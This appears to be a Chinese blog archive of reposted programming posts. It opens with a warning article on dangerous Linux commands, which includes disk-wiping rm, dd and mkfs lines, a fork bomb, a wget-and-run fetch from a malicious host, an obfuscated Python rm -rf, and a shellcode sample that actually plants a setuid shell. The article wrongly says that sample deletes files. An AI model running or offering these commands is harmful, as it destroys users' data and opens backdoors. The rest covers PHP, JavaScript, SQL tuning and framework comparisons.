千万不要运行的Linux命令!

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。

这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况

 sudo rm -rf /  删除根分区全部的文件  
 sudo rm -rf .    删除当前目录下的所有文件  
 sudo rm -rf *   同上  
 rm -rf * or rm -rf *.*   同上  
 rm -rf ~ / &     删除根分区和家目录,即使你不是root,家目录还是不能幸免。 

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

sudo mkfs.xxxx

dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

 sudo dd if=/dev/zero of=/dev/sda   全部硬盘清零。  
 sudo dd if=/dev/sda of=/dev/sdb     用第一块硬盘的内容覆盖第二块的内容。  
 sudo dd if=something of=/dev/sda    往硬盘上写垃圾数据 

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

any_command > /dev/sda              用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

 :(){:|:&};:

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

fork while fork

有的时候,压缩包也是一个破坏来源~

有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

 wget http://some_place/some_file  
 sh ./some_file  
 wget http://hax018r.org/malicious-script  
 sh ./malicious-script 

载脚本要确保来源正规,如果有能力,可以阅读其代码。

即使有源代码的程序,也不要随便编译执行:

 char esp[] __attribute__ ((section(".text"))) /* e.s.p  

 release */ 

 = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" 

 "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99" 

 "xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7" 06 "x56x04xf7x56x08xf7x56x0cx83xc4x74x56" 

 "x8dx73x08x56x53x54x59xb0x0bxcdx80x31" 

 "xc0x40xebxf9xe8xbdxffxffxffx2fx62x69" 

 "x6ex2fx73x68x00x2dx63x00" 10 "cp -p /bin/sh /tmp/.beyond; chmod 4755  

 /tmp/.beyond;"; 

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

python 一类的脚本语言,同样可以拿来搞破坏:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

那么我们如何避免运行恶意程序呢?

第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
第三要保证软件、脚本的来源正规。
最后一点,虽然比较消极,但是确实十分重要的一点:
经常备份你的数据!!

原文地址:http://php.lampbrother.net/html/42-1/1179.htm

UTF-8的BOM

在window下面用记事本编辑文件的时候,如果保存为UNICODE或UTF-8,分别会在文件的开头加上两个字节“\xFF\xFE”(UNICODE)和三个字节“\xEF\xBB\xBF”(UTF-8)。在读取的时候就可能会遇到问题,但是不同的环境对这几个多于字符的处理也不一样。

Unicode规范中有一个BOM的概念。全名Byte Order Mark(字节序标记)。

BOM告诉编辑器当前文件采用何种编码,方便编辑器识别(如果接收者收到以EF BB BF开头的字节流,就知道这是UTF-8编码了),也为了支援UTF-16,UTF-32才加上。

 在开发中,如果不涉及太多区域的应用,BOM作用不是很大,在php设计时没有考虑BOM的问题,这三个字节会直接输出,如果这时在程序里调用了session函数,就会出问题了。所以一般情况下,文件应该使用 Unicode (UTF-8) 编码保存。同时不要使用字节序标记(BOM)。所以,生成文件时,过滤“\xEF\xBB\xBF”即可。

PHP遍历数组

PHP拥有强大的数组处理能力。下边浅谈它如何遍历一个数组。

(1)foreach语句:

foreach($array as $value){}
foreach($array as $key => $value) {}

(2)for语句:

for($i=0, $size=count($array); $i<$size; $i++){}

// 针对关联数组
for(reset($array); $key = key($array); next($array))

(3)while语句:

reset($array);
while(list($key, $value) = each($array)) {}

以上可以看出,使用foreach语句比较简洁。但它迭代的是相应数组的一个副本,而for语句和each函数是,php迭代的是原始数组。故如果考虑速度或修改数组时,就该有相应的选择。

Web 开发与设计语言大盘点

下文是我复制到word里,原文地址忘记了,非常抱歉:

在这个 Web 的时代,与 Web相关的开发技术持续热门,从前端到后端,从标记语言到开发语言,各种技术交相辉映,沉沉浮浮,作为开发者,尤其是初级开发者,如何选择几门适合自己的开发语言尤为重要。本文是对所有 Web 相关开发语言的一次盘点,并指出其中最有前途的开发与设计语言。

无穷尽的选择

在 Web 开发与设计领域,我们有太多的选择,HTML 还是 XHTML, RSS 还是 Atom, PHP 还是 ASP.NET,SVG 还是 VML, JavaScript 还是VBS?这样的对决还可以列出很多,然而,它们往往没有固定答案,取决于个人嗜好,在你对各种语言和技术彻底了解之前,你自己也未必有任何清晰的想法。

如何选择?

答案是,取决于具体情况。不仅要看站点的类型,还要看你希望涉足的技术深度。本文会将 Web 相关的各种开发与设计语言,按不同的类别进行展示,并注明其复杂程度,流程程度以及浏览器支持程度。值得庆幸的是,任何一门 Web  语言都有很好的文档可以参考。

Web 开发与设计语言的层级

Web语言按层级分,传统上是这样分的,标记层(HTML),修饰层(CSS),客户端脚本层(JavaScript),服务器端(PHP,ASP.NET)。如果按功用分,参看上图,我们可以将它们分为15层,每个层级代表一种功用,比如用户交互,矢量图等等等。当然,并不是所有用户都需要全部掌握这些不同层级的语言。

标记语言

最常用的 Web 标记语言有四种。

Web聚合语言

最常用的 Web 聚合语言有 Atom 和 RSS 两种。

  • Atom
  • RSS
  • Others: EventsML, GeoRSS, MRSS, NewsML, OPML, SportsML and XBEL

元数据定义语言

常见的元数据定义语言有5种。

式样表与转换语言

常见的有2种。

  • CSS
  • XSL
  • Others: DSSSL and JSSS (Deprecated)

客户端脚本

这些脚本语言多数和 JavaScript 有关联。

服务器端开发语言

可选的余地很大。

数据库语言

有4种常见数据库脚本语言。

插件

这些插件运行在浏览器的沙盒环境中。

服务器端配置语言

用于访问管理,服务器端配置,搜索引擎引导等。

RIA – 富 Internet 应用

这些技术可以实现桌面化的 Web。

矢量建模语言

常见的 2D 和 3D 建模与渲染语言有 5 种。

PostScript 语言

  • PDF
  • XPS
  • Others: FlashPaper and OpenXML

数据格式化语言

文档纲要语言

  • DTD
  • XSD
  • Others: DSD, RelaxNG and Schema XML

对于初学入门者,建议遵照下图进行学习,不管如何选择,HTML 是最重要的开端。

原文译者注:

HTML + CSS + JS 是前段开发必须掌握的三种语言,这毫无争议,即时有,也只是 XHTML 和 HTML之争,而二者的争议也只限于对语言的严格程度上。PHP 和 MySQL 属于服务器端的开发语言,服务器端的开发语言有更广泛的选项,除了 PHP, MySQL,还有  ASP.NET,MS SQL,JSP,Ruby 都是可以考虑的选项,关键看你的项目要求。

php常用类

在开发中,会遇到一些重复操作,其实很多PEAR帮我们做好了,以下是网上转帖整理:

图表库

下面的类库可以让你很简单就能创建复杂的图表和图片。当然,它们需要GD库的支持。

pChart – 一个可以创建统计图的库。

Libchart – 这也是一个简单的统计图库。

JpGraph – 一个面向对象的图片创建类。

Open Flash Chart – 这是一个基于Flash的统计图。

 

RSS 解析

解释RSS并是一件很单调的事情,不过幸好你有下面的类库可以帮助你方便地读取RSS的Feed。

MagpieRSS – 开源的PHP版RSS解析器,据说功能强大,未验证。

SimplePie – 这是一个非常快速,而且易用的RSS和Atom 解析库。

 

缩略图生成

phpThumb – 功能很强大,如何强大还是自己去体会吧。

 

支付

你的网站需要处理支付方面的事情?需要一个和支付网关的程序?下面这个程序可以帮到你。

PHP Payment Library – 支持Paypal, Authorize.net 和2Checkout (2CO)

OpenID

PHP-OpenID – 支持OpenID的一个PHP库。OpenID是帮助你使用相同的用户名和口令登录不同的网站的一种解决方案。如果你对OpenID不熟悉的话,你可以到这里看看:http://openid.net.cn/

 

数据为抽象/对象关系映射ORM

ADOdb – 数据库抽象

Doctrine – 对象关系映射Object relational mapper (ORM) ,需要 PHP 5.2.3+ 版本,一个非常强大的database abstraction layer (DBAL).

Propel – 对象关系映射框架- PHP5

Outlet – 也是关于对象关系映射的一个工具。

注:对象关系映射(Object Relational Mapping,简称ORM)是一种为了解决面向对象与关系数据库存在的互不匹配的现象的技术。简单的说,ORM是通过使用描述对象和数据库之间映射的元数据,将程序中的对象自动持久化到关系数据库中。本质上就是将数据从一种形式转换到另外一种形式。这也同时暗示者额外的执行开销;然而,如果ORM作为一种中间件实现,则会有很多机会做优化,而这些在手写的持久层并不存在。更重要的是用于控制转换的元数据需要提供和管理;但是同样,这些花费要比维护手写的方案要少;而且就算是遵守ODMG规范的对象数据库依然需要类级别的元数据。

 

PDF 生成器

FPDF – FPDF这个PHP Class允许你采用纯PHP(更确切地说就是不需要使用PDFlib)来生成PDF文件。它所具有的特点包括:可选择的unit大小,页面格式和页边距;页眉和页脚管理;自动分页;自动换行与文本自动对齐;支持JPEG与PNG图片格式;支持着色和文件超链接;支持TrueType,Type1与 encoding;支持页面压缩。

HTML2PDF — 能够把一个HTML文本转换成一个打印机友好的PDF文件。这个PHP脚本构建在FPDF PHP脚本之上。

 

TCPDF — 是一个用于快速生成PDF文件的PHP5函数包。TCPDF基于FPDF 进行扩展和改进。支持UTF-8,Unicode,HTML和XHTML。

 
html2ps  — 能够把带有图片,复杂表格(包含rowspan/colspan) ,layer/p和css样式的HTML转换成Postscript与PDF。 html2ps对CSS2.1支持非常好,并且很好地兼容不正确的HMTL。它甚至能够转换几乎是采用CSS设计的网站如msn.com。

 

HTML_ToPDF — 能够把任何HTML文档转换成在任何平台和打印机下界面格式都一样的PDF文档。它包括支持图片转换,使用样式表来定制PDF文件和错误处理。

 
dompdf — 是一个HTML到PDF的转换工具。它的核心是一个遵循大部份CSS2.1样式的Rendering引擎。dompdf采用样式驱动,它能够下载并读取外部样式,整个样式标签和单个HTML元素的样式属性。它同样支持目当大部份HTML属性。

 
cPdfWriter — 是一个能够输出PDF文档的PHP5 class。基于TCPDF,FPDF和其它相关脚本。

 
pdf-newspaper — 是一个开源的PHP应用程序,它能够将RSS供稿转换成报纸格式的PDF文档。

 

Excel 相关

你的站点需要生成Excel?没有问题,下面这两个类库可以让你轻松做到这一点。

php-excel – 这是一个非常简单的Excel文件生成类。

PHP Excel Reader – 可以解析并读取XLS文件中的数据。

 

E-Mail 相关

不喜欢PHP的mail函数?觉得不够强大?下面的PHP邮件相关的库绝对不会让你失望。

Swift Mailer – 免费的超多功能的PHP邮件库。

PHPMailer – 超强大的邮件发送类。

 

单元测试

如果你在使用测试驱动的方法开发你的程序,下面的类库和框架绝你能帮助你的开发。

SimpleTest – 一个PHP的单元测试和网页测试的框架。

PHPUnit – 来自xUnit 家族,提供一个框架可以让你方便地进行单元测试的案例开发。并可非常容易地分析其测试结果。

JavaScript面向对象基础

传统的Web开发模式中,JavaScript一直被当作过程化的语言使用,比如表单验证之类。其实,JavaScript提供了完善的机制来实现面向对象的开发思想,这在Ajax技术上,表现得淋漓尽致。

总结下JavaScript面向对象的基础:(结合了《Web 2.0 开发技术详解》这本书,希望对大家有帮助)

 

1 定义类

用定义函数的方式(即用“function”关键字定义):

function class01 () { //……. }

此处class01是一个函数,也是一个类。作为函数,可以理解为类的构造函数(初始化)。在JavaScript中,函数和类就是一个概念。

 

BTW:函数声明的方法:

(1)function fun1(…)  {…}

(2)var fun1 = function(…) {…};     // 注意无名函数在调用之前,必需先定义

(3)var fun1 = function fun2(…) {…};

(4)var fun1 = new Function(p1, p2, …, pN, body);

 

2 定义对象

1)使用new操作符。– 适用内部类(如Date类,Array类,String类,RegExp,Math,Error,Object)和用户自定义类。

如:

function class01() { // 类成员的定义 }

var obj = new class01();  // 即所有函数都可以用new来操作。

 

e.g:

var obj = new Object();

obj.name = "ljlwill";               // 定义name属性

obj.hello = function(…) {….}    // 定义obj的hello方法

 

有个小技巧,以下大家发现没有

var namespace = new Object();

var namespace.class1 = function() {…..}

var obj1 = new namespace.class1();

>> 对象名起到一个命名空间的作用。先用new出一个namespace对象,把namespace对象的方法定义为类的形式,再new出一个新的obj1

 

2)使用{}大括号创建无类型对象

传统的面向对象语言中,每个对象都会对应到一个类,而JavaScript中的对象,其实就是属性(方法)的一个集合,无严格意义的类的概念。故可用{}的语法创建一个对象。

如:

var user = { name: "ljwill",        // 定义了name属性,初始化为“ljlwill

hobby: ['basketball', 'football', 'ping-pong'],  // 定义了爱好,类型为数组

// 定义hello方法

hello: function() { alert("Hello, " + this.name); },

…… }

可看到形式,其中属性名和其定义之间用:(冒号)隔开,以,(逗号)结尾。很是紧凑,清晰,减少代码体积。

 

3 对象的属性和方法的引用

1) 对象名.属性名(方法名) — 即用.符号引用

2) 对象名["属性(方法)名"]  — 即用[]符号引用

如:

var arr = new Array(); // 为数组添加一个元素a

arr["push"]("a"); arr.push("a");

// 计算数组长度

var len = arr["length"];

var len = arr.length;

用方括号[]的引用对象属性(方法),类似于数组,体现了一个JavaScript对象就是一组属性(方法)的集合这个性质。适用于不确定具体要引用哪个属性(方法)的场合。 在document的集合对象中,也有类似[]的用法,如果引用某一个“myForm"的表单对象:document.forms["myForm"],当然,也可以写成document.forms.myForm。(注意,这里的forms对象是一个内部对象)

 

4 对象的属性和方法的操作

如何为一个对象添加,修改或删除其属性和方法呢?

在一些语言中,要修改一个已生成的对象的属性或方法,必须在对应的类修改,重新实例化,再重新编译。JavaScript却可以灵活的动态添加,修改或删除其属性和方法。

如:先创建一个空对象user:var user = new Object();

1)添加属性。

user.name = "jinlie";   // 为其添加name属性

user.age   = 25;       // 为其添加age属性

user["name"] = "jinle"   // 使用[]

user["age"]   =  "25"

// 可否发现[]方式有个而外特点, 可以使用非标识符字符串作为属性名称,如数字开头或出现,user["007 name"] = "jinlie",如果user.007 name就错误了。

// 这一属性可以很容易实现一个简单的哈希表。在此不详述。 输出试试:alert(user.name);

 

2)添加方法

user.getName = function() { 

     // 可添加参数 return this.name;

} // alert(user.getName());

 

3)修改属性

即用新的属性替换旧的属性

user.name = "hello"; //  测试:alert(user.getName());

 

4)删除属性和方法

将其置为undefined即可。

user.name = undefined;

user.getName = undefined;

 

到此,我们可以感受JavaScript的强大的灵活性。

 

5 prototype原型对象

在JavaScript中,每个函数(function)其实也是一个对象,他们对应的类是“Function”,而每个函数对象都具有一个子对象prototype。所以,prototype表示了该函数的原型,也即是表示一个类的成员的集合。 prototype是一个对象,也可以对其方法进行动态修改:

如:

function class01 { // ….. }

// 对类的prototype对象增加方法

hello class01.prototype.method = function() { alert("Hello Word!"); }

var obj = new class01();

obj.hello();   // 调用hello()方法

 

看个有趣的例子:

// 为所有的Function函数对象添加method1方法

Function.prototype.method1 = function() {

     alert("This is a function.");

}

function func1() { alert("this is func1"); }

func1.method1();                        // 执行了alert("This is a function")

func1.method1.method1();      // 执行了alert("This is a function")

func1.method1.method1()是个递归定义,因为method1本身也是一个函数,便具有了函数对象的属性和方法,所以它调用了method1这个函数对象的method1方法。结论:所有对Function类型的方法扩充都具有这样的递归性质。

 

6 类成员的访问机制

1)公有成员,私有成员

在JavaScript中,并没有特殊的机制(比如用像一些语言中有关键字private,public等)来访问其成员,但可以通过变量的作用域性质来实现这些功能。– 在一函数内部定义的变量称为局部变量,它不可以被函数外边的程序所使用,却可以被其内部定义的嵌套函数所使用。

有思路了吧?如:

function class1() {

var name = 'ljlwill';      // 私有属性

 

// 私有方法

function privateMethod(…) {

   ….

}

 

// 公有方法

this.pubMethod = function(…) {

    ….

}

}

 

// 建以对象obj

var obj = new class1();

obj.pubMethod();

注意,prototype定义的类成员却不可以访问其构造体中定义的局部变量(私有成员)

 

2)静态成员

它可以通过“class.staticMemberName(类名.静态成员名)”访问。

实现:

function class1() {

     ….

}

calss1.staticName = "ljlwil";

class1.staticMethod = function(…) { …. }

 

如果想给所有的对象添加静态成员(比如静态方法):

Function.prototype.staticMethod = function(…) { … }

 

7 类的继承

继承是OOP中很重要的IDEA。很抱歉,JavaScript没有专门的机制(extends)来实现,但还是可以使用以下方式实现继续

1)拷贝一个类的prototype到另外一个类来实现继承。

如:

function class1() {

   …

}

function class2() {

  ..

}

class2.prototype = class1.prototype;    // 这样class2有了其公有类成员的属性或方法

 

下边的语句是成立的:

var obj = new  class2();

obj instanceof class1;     // intanceof 操作符判断一个对象是否是某一类的实例。

obj instanceof class2;

注意:在JavaScript中,除了基本数据类型(数字,字符串,布尔等),所有的赋值或函数传参都是引用传递,所以class2的prototype引用了class2的prototype,如果改变class2的prototype,class2的prototype也随之改变。所以,注意要不允许类成员的重新定义,用prototype实现继承,还是蛮好用的。

 

2)使用发射机制实现正确继承

发射机制指的是程序在运行时能够获取自身的信息。

如:

// 为Object类添加静态方法extend

Object.extend = function(destination, source) {

for(p in source) {

destination[p] = source[p];

}

return destination;

}

 

// 通过Object类为所有对象添加extend方法

Object.prototype.extend = function(object) {

return Object.extend.apply(this, [this, object]);

}

 

// 定义class1

function class1() {…)

 

class1.prototype = {

method1: function(…) {…},

method2: function(…) {….}

}

 

// 定义class2

function class2() {….}

 

// 继承

class2.prototype = (new class1()).extend({         // 不要把new class1()换成class1,这样和prototype实现继承一样的错误哦!

// 重新定义method1

method1: function() {

    ….

}

}

);

 

// 定义对象

var obj1 = new class1();

var obj2 = new class2();

// 试试吧

obj1.method1();

obj1.method2();

obj2.method1();

obj2.method2();

 

8 抽象类

JavaScript的抽象类也是没任何机制支持的。但却还是可以实现。

传统的面向对象语言中,抽象类的概念是,具有虚函数的类。而虚函数指的是,只做了一个声明而未实现的方法。在JavaScript中,虚函数可以看作该类中没有定义的方法,但已经通过this指针使用了(在其他语言中,虚函数必须先声明)。

如:

Object.extend = function(destination, source) {

for(p in source) {

destination[p] = source[p];

}

return destination;

}

 

// 定义一个抽象基类base,无构造函数
function base() {…}

base.prototype = {

initialize: function() {

this.oninit();     // 调用了一个虚方法

}

 

// 如果要在基类中添加虚方法的一个定义,也可以的:

// oninit: function() {}   // 虚方法是一个空方法,由派生类实现

}

 

function class1() {….}

class1.prototype = (new base()).extend({

// 实现抽象类中的oninit虚方法

oninit: function() {

// 实现

}

});

 

好,今天就谈到这,JavaScript一个非常灵活的设计语言。学好基础,看看那些类的设计模式,和一些出名的框架,不禁要;)一下!

用php处理百万级以上的数据提高查询速度的方法

网上转帖(原文地址不明):

1.应尽量避免在 where 子句中使用!=或<>操作符,否则将引擎放弃使用索引而进行全表扫描。
 
2.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引。
 
3.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索引而进行全表扫描,如:
select id from t where num is null
可以在num上设置默认值0,确保表中num列没有null值,然后这样查询:
select id from t where num=0

4.应尽量避免在 where 子句中使用 or 来连接条件,否则将导致引擎放弃使用索引而进行全表扫描,如:
select id from t where num=10 or num=20
可以这样查询:
select id from t where num=10
union all
select id from t where num=20

5.下面的查询也将导致全表扫描:
select id from t where name like '%abc%'
若要提高效率,可以考虑全文检索。

6.in 和 not in 也要慎用,否则会导致全表扫描,如:
select id from t where num in(1,2,3)
对于连续的数值,能用 between 就不要用 in 了:
select id from t where num between 1 and 3

7.如果在 where 子句中使用参数,也会导致全表扫描。因为SQL只有在运行时才会解析局部变量,但优化程序不能将访问计划的选择推迟到运行时;它必须在编译时进行选择。然 而,如果在编译时建立访问计划,变量的值还是未知的,因而无法作为索引选择的输入项。如下面语句将进行全表扫描:
select id from t where num=@num
可以改为强制查询使用索引:
select id from t with(index(索引名)) where num=@num

8.应尽量避免在 where 子句中对字段进行表达式操作,这将导致引擎放弃使用索引而进行全表扫描。如:
select id from t where num/2=100
应改为:
select id from t where num=100*2

9.应尽量避免在where子句中对字段进行函数操作,这将导致引擎放弃使用索引而进行全表扫描。如:
select id from t where substring(name,1,3)='abc'–name以abc开头的id
select id from t where datediff(day,createdate,'2005-11-30')=0–'2005-11-30'生成的id
应改为:
select id from t where name like 'abc%'
select id from t where createdate>='2005-11-30' and createdate<'2005-12-1'

10.不要在 where 子句中的“=”左边进行函数、算术运算或其他表达式运算,否则系统将可能无法正确使用索引。
 
11.在使用索引字段作为条件时,如果该索引是复合索引,那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引,否则该索引将不会被使用,并且应尽可能的让字段顺序与索引顺序相一致。

12.不要写一些没有意义的查询,如需要生成一个空表结构:
select col1,col2 into #t from t where 1=0
这类代码不会返回任何结果集,但是会消耗系统资源的,应改成这样:
create table #t(…)

13.很多时候用 exists 代替 in 是一个好的选择:
select num from a where num in(select num from b)
用下面的语句替换:
select num from a where exists(select 1 from b where num=a.num)

14.并不是所有索引对查询都有效,SQL是根据表中数据来进行查询优化的,当索引列有大量数据重复时,SQL查询可能不会去利用索引,如一表中有字段sex,male、female几乎各一半,那么即使在sex上建了索引也对查询效率起不了作用。

15.索引并不是越多越好,索引固然可以提高相应的 select 的效率,但同时也降低了 insert 及 update 的效率,因为 insert 或 update 时有可能会重建索引,所以怎样建索引需要慎重考虑,视具体情况而定。一个表的索引数最好不要超过6个,若太多则应考虑一些不常使用到的列上建的索引是否有 必要。

16.应尽可能的避免更新 clustered 索引数据列,因为 clustered 索引数据列的顺序就是表记录的物理存储顺序,一旦该列值改变将导致整个表记录的顺序的调整,会耗费相当大的资源。若应用系统需要频繁更新 clustered 索引数据列,那么需要考虑是否应将该索引建为 clustered 索引。

17.尽量使用数字型字段,若只含数值信息的字段尽量不要设计为字符型,这会降低查询和连接的性能,并会增加存储开销。这是因为引擎在处理查询和连接时会逐个比较字符串中每一个字符,而对于数字型而言只需要比较一次就够了。
 
18.尽可能的使用 varchar/nvarchar 代替 char/nchar ,因为首先变长字段存储空间小,可以节省存储空间,其次对于查询来说,在一个相对较小的字段内搜索效率显然要高些。

19.任何地方都不要使用 select * from t ,用具体的字段列表代替“*”,不要返回用不到的任何字段。

20.尽量使用表变量来代替临时表。如果表变量包含大量数据,请注意索引非常有限(只有主键索引)。

21.避免频繁创建和删除临时表,以减少系统表资源的消耗。

22.临时表并不是不可使用,适当地使用它们可以使某些例程更有效,例如,当需要重复引用大型表或常用表中的某个数据集时。但是,对于一次性事件,最好使用导出表。
 
23.在新建临时表时,如果一次性插入数据量很大,那么可以使用 select into 代替 create table,避免造成大量 log ,以提高速度;如果数据量不大,为了缓和系统表的资源,应先create table,然后insert。

24.如果使用到了临时表,在存储过程的最后务必将所有的临时表显式删除,先 truncate table ,然后 drop table ,这样可以避免系统表的较长时间锁定。

25.尽量避免使用游标,因为游标的效率较差,如果游标操作的数据超过1万行,那么就应该考虑改写。

26.使用基于游标的方法或临时表方法之前,应先寻找基于集的解决方案来解决问题,基于集的方法通常更有效。
 
27.与临时表一样,游标并不是不可使用。对小型数据集使用 FAST_FORWARD 游标通常要优于其他逐行处理方法,尤其是在必须引用几个表才能获得所需的数据时。在结果集中包括“合计”的例程通常要比使用游标执行的速度快。如果开发时 间允许,基于游标的方法和基于集的方法都可以尝试一下,看哪一种方法的效果更好。

28.在所有的存储过程和触发器的开始处设置 SET NOCOUNT ON ,在结束时设置 SET NOCOUNT OFF 。无需在执行存储过程和触发器的每个语句后向客户端发送 DONE_IN_PROC 消息。

29.尽量避免向客户端返回大数据量,若数据量过大,应该考虑相应需求是否合理。

30.尽量避免大事务操作,提高系统并发能力。

继续

忽然这么一阵热忱,今自个儿整个blog,把之前的http://ljlwill.blog.163.com也搬迁过来,也发现,文章也是寥寥无几,惭愧。

其实,敲敲文字,转转帖子,记录生活的晴晴朗朗,留下这么一个轨迹,于己,于人或许是个好事。于是,再继续…….

国外最流行的十款PHP开发框架横向比较

PHP开发框架近来在PHP社区中成为讨论的热点,几乎每天都在推出新的框架。面对市面上超过四十种的开发框架,你很难判断究竟哪一款最适合你,尤其是在这些框架所提供的功能不尽相同的时候。

本文将引导你遍览十款最热门最流行的开发框架,并对它们作出横向比对。我会先列出一张所有框架的一览表,而后我们将对它们逐个简述。
概览

以下你看到是这十款开发框架的一览表,列举了他们各自所提供的功能。

 

PHP框架比较

#1: 表示框架是否内建模型-视图-控制器。
#2: 表示框架是否无需修改即可支持多数据库。
#3: 表示框架是否支持对象记录映射器,通常这是ActiveRecord的封装包。
#4: 表示框架是否包含其它数据库对象,比如TableGateWay。
#5: 表示框架是否内建模板引擎。
#6: 表示框架是否缓存对象或者其他缓存机制。
#7: 表示框架是否内建校验或过滤组件。
#8: 表示框架是否内建Ajax支持。
#9: 表示框架是否内建用户验证模块。
#10: 表示框架是否包含其他模块,例如RSS feed解析器、PDF模块或其他实用模块。

如果上表所列有不当之处,敬请斧正。

Zend Framework

Zend Framework还相当新,尚处在beta阶段(译者注: 相对于作者写这篇文章之时),因此还有些功能有待完整(比方说用户验证模块),但它本身已经有不少功能了。尽管从对比表上来看它没占到什么便宜,可Zend Framework确确实实涵括了一些处理PDF文档、RSS源、在线服务(Amazon, Flickr, Yahoo)的模块,甚至更多。Zend Framework同时也包含了数个不同的数据库对象,极大地便捷了对数据库进行查询的实现,甚至免去你手写SQL查询脚本的麻烦。

当前,Zend Framework并未完全支持ORM,但是开发人员仍然陷入在是否要添加ORM层的争论中。也许在将来会实现这些功能,你就可以编写自己的ORM封装包,投稿到社区,并有机会将之整合入框架的未来版本。

Zend Framework看上去前途一片光明,而且它同时又修正了一些常见的PHP问题。也许稳定版本就可以在对比表里面表现得更出色了!

CakePHP

CakePHP是一款高级的MVC框架,自带了不多的几个模块。它可以处理大多数的数据库事务,支持Ajax个数据验证。同时,它的用户验证模块(Accsee List)也非常独特,可以针对不同的用户在访问网站不同部分时分配对应的访问权限。

尽管CakePHP的网站看上去令人犯晕,但是框架本身已经比较完整可用了。截至成文尚未见稳定版本,实在令人感到有点意外,毕竟已经开发了好几个月了,不过我猜想也许用beta版本来开发产品也未尝不可吧(译者注: Risk you @ss baby!)。

Symfony Project

从对比表中不难看出,Symfony是一款极具扩展性的开发框架,它甚至完整植入了一个叫做Propel的ORM,Propel也是开源项目,并且迄今为止可能是PHP上最好的ORM解决方案。Symfony同时还整合了用于数据库抽象层的Creole和用于MVC模型层的Mojavi。由于它仅仅是重用了这些项目的源代码,而非重写,由此使得框架具备了极为强大的扩展性,这一点在表中昭然若是。

Symfony有两个缺憾,以使它不支持PHP4,这是由于需要PHP5中很多新特性的支持的结果,二是相对来说它有点复杂了。大多数任务,比方像分页,在Symfony中的时限比其他框架要复杂得多,这决不是一款简洁著称的框架。

Seagull Framework

Seagull framework看上去相当不错,自带了很多特性。支持PHP4也对它的推广相当有利,我本人就仍在使用PHP4,况且大多数空间寄存商尚未全面支持PHP5。

不幸的是,Seagull没有提供对Ajax的支持,实在有点说不过去,不过通过Google可以毫不费力地搜索到一篇自己添加Ajax支持的教程,而且这点在将来应该会添加到框架中。

WACT – Web Application Toolkit

WACT很有潜力,框架的基件它一应俱全,像MVC、数据库对象和模板引擎,不过仅此而已。它没有任何外挂模块,同时也缺少一些内建的功能,例如Ajax、缓存、验证模块,等等。

尽管如此,WACT还是拥有最好的模板引擎,甚至可以帮助你创建自己的模板标签来扩展功能。

Prado

Prado非常独特,它提供了一些很酷的特性。它没有内建对MVC的支持(就我看来),但是它确实拥有处理大多数PHP任务的各种各样的组件,更棒的是,它实现了事件驱动脚本。例如,在一个HTML按钮上设置onClick事件链接到一个PHP函数。这点近似ASP.NET,而Prado确实包含了更多的ASP.NET组件,像GridView和Repeater Control。

仅凭对比表上的数据,Prado看似要弱于其它框架,但事实并非如此。因为Prado如此独特,尽管它得分不高,但是在实际应用中它是非常强大的。

PHP on Trax

这个框架看上其简直就是Ruby and Rails在PHP上的一个接口,它以前也确实叫做PHP on Rails。不幸的是,它的文档实在是太稀缺了,所以也很难判断这个框架究竟提供了些什么,但是文档中的确提到了ActiveRecord,所以它可能提供ActiveRecord,就像RoR。还有就是它内建了Ajax支持,从它网站上的两个演示视频中不难看出。

PHP on Trax基本上能符合使用者对框架的要求,但是它还是缺胳膊少腿,比方像验证模块和缓存模块。它也没有任何外挂模块,是以目前来说,它很初级。

ZooP Framework

ZooP Framework可以说包罗万象,对比表上一目了然,差不多该支持的都支持了,除了ORM层。更意外惊喜的是它支持PHP4,这对于它提供的这么全面的功能来说实在是太不简单了,太棒了!

ZooP还提供了内建的GUI控制,使得创建表单的工作变得异常快捷。它支持绝大多数的常用表单元素,在常规HTML里使用GUI控制的好处就是你可以将验证的逻辑操作和GUI控制紧密地结合在一起。

eZ Components

与其说ez Components是个框架,不如说是一个组件集,可能正是因为如此它并没有内建对MVC的支持。

